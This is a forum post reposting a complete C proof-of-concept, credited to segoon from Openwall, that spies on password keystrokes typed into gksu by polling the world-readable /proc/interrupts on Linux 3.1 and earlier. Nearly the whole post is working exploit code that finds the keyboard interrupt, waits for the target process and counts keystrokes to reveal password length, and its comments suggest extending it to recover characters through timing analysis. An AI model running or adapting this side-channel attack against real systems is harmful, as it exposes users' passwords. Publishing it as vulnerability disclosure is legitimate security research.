Jump to content
Nytro

A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1

Recommended Posts

A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1

/*
* A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1.
*
* The file /proc/interrupts is world readable. It contains information
* about how many interrupts were emitted since the system boot. We may loop
* on one CPU core while the victim is executed on another, and learn the length
* of victim's passord via monitoring emitted interrupts' counters of the keyboard
* interrupt. The PoC counts only keystrokes number, but it can be easily extended
* to note the delays between the keystrokes and do the statistical analysis to
* learn the precise input characters.
*
* The limitations:
* - it works on 2-core CPUs only.
* - it works on 1-keyboard systems only.
* - it doesn't carefully count the first and last keystrokes (e.g. ENTER after
* the password input).
* - it doesn't carefully filter keystrokes after ENTER.
*
* by segoon from Openwall
*
* run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu
*
* P.S. The harm of 0444 /proc/interrupts is known for a long time, but I
* was told about this specific attack vector by Tavis Ormandy just after similar
* PoC spy-sched was published.
*/

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <string.h>

int i8042_number;
int ints[1024], ints_prev[1024], ints_delta[1024];

char buffer[1024];

int reread_ints(int *interrupts, int int_count, char **names)
{
int i;
int n, c1, c2;
char s1[1024], s2[1024];

int interrupts_fd;
FILE *interrupts_file;

interrupts_fd = open("/proc/interrupts", O_RDONLY);
if (interrupts_fd == -1)
err(1, "open(\"/proc/interrupts\")");

interrupts_file = fdopen(interrupts_fd, "r");
if (interrupts_file == NULL)
err(1, "fdopen");

if (fseek(interrupts_file, 0, SEEK_SET) < 0)
err(1, "lseek");

fgets(buffer, sizeof(buffer), interrupts_file);

for (i = 0; i < int_count; i++) {
if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) {
fclose(interrupts_file);
return i;
}

if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) {
fclose(interrupts_file);
return i;
}

if (names != NULL && names[i] == NULL)
names[i] = strdup(s2);

interrupts[i] = c1 + c2;
}

fclose(interrupts_file);
return int_count;
}

void init_i8042_number(void)
{
int i;
int can_be_keyboard[1024];
char *names[1024];
int number_of_interrups, can_be_keyboard_numbers;

number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names);

/*
* Identify the i8042 interrupt associated with the keyboard by:
* 1) name should be i8042
* 2) interrupts count emitted in one second shouldn't be more than 100
*/
for (i = 0; i < number_of_interrups; i++)
can_be_keyboard[i] = strcmp(names[i], "i8042") == 0;

while (1) {
sleep(1);
reread_ints(ints, sizeof(ints), NULL);

can_be_keyboard_numbers = 0;
for (i = 0; i < number_of_interrups; i++) {
can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100;
if (can_be_keyboard[i])
can_be_keyboard_numbers++;

ints_prev[i] = ints[i];
}

if (can_be_keyboard_numbers == 1) {
for (i = 0; i < number_of_interrups; i++)
if (can_be_keyboard[i]) {
i8042_number = i;
printf("i8042 keyboard is #%d\n", i);
return;
}
}
}
}

int i8042_read(void)
{
reread_ints(ints, sizeof(ints), NULL);
ints_prev[i8042_number] = ints[i8042_number];

return ints[i8042_number];
}

int wait_for_program(char *pname)
{
FILE *f;
int pid;
char s[1024];

snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;"
" sleep 0.1; done", pname);
system(s);
snprintf(s, sizeof(s), "pgrep %s", pname);
f = popen(s, "r");
if (f == NULL)
err(1, "popen");

if (fgets(buffer, sizeof(buffer), f) == NULL)
err(1, "fgets");

if (sscanf(buffer, "%d", &pid) < 1)
err(1, "sscanf");

pclose(f);

return pid;
}

int main(int argc, char *argv[])
{
int n, old, sum, i;
int pid;
char *pname = argv[1];

if (argc < 2)
errx(1, "usage: spy-interrupts gksu");

puts("Waiting for mouse activity...");
init_i8042_number();

pid = wait_for_program(pname);
printf("%s is %d\n", pname, pid);

old = i8042_read();

sum = 0;

while (1) {
n = i8042_read();
if (old == n)
usleep(10000);
else {
for (i = 0; i < n-old; i++)
putchar('.');
fflush(stdout);
}

sum += n - old;
old = n;

if (kill(pid, 0) < 0 && errno == ESRCH)
break;
}

/*
* #interrupts == 2 * #keystrokes.
* #keystrokes = len(password) - 1 because of ENTER after the password.
*/
printf("\n%d keystrokes\n", (sum-2)/2);

return 0;
}

Sursa: /proc/interrupts PoC: spy-interrupts

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...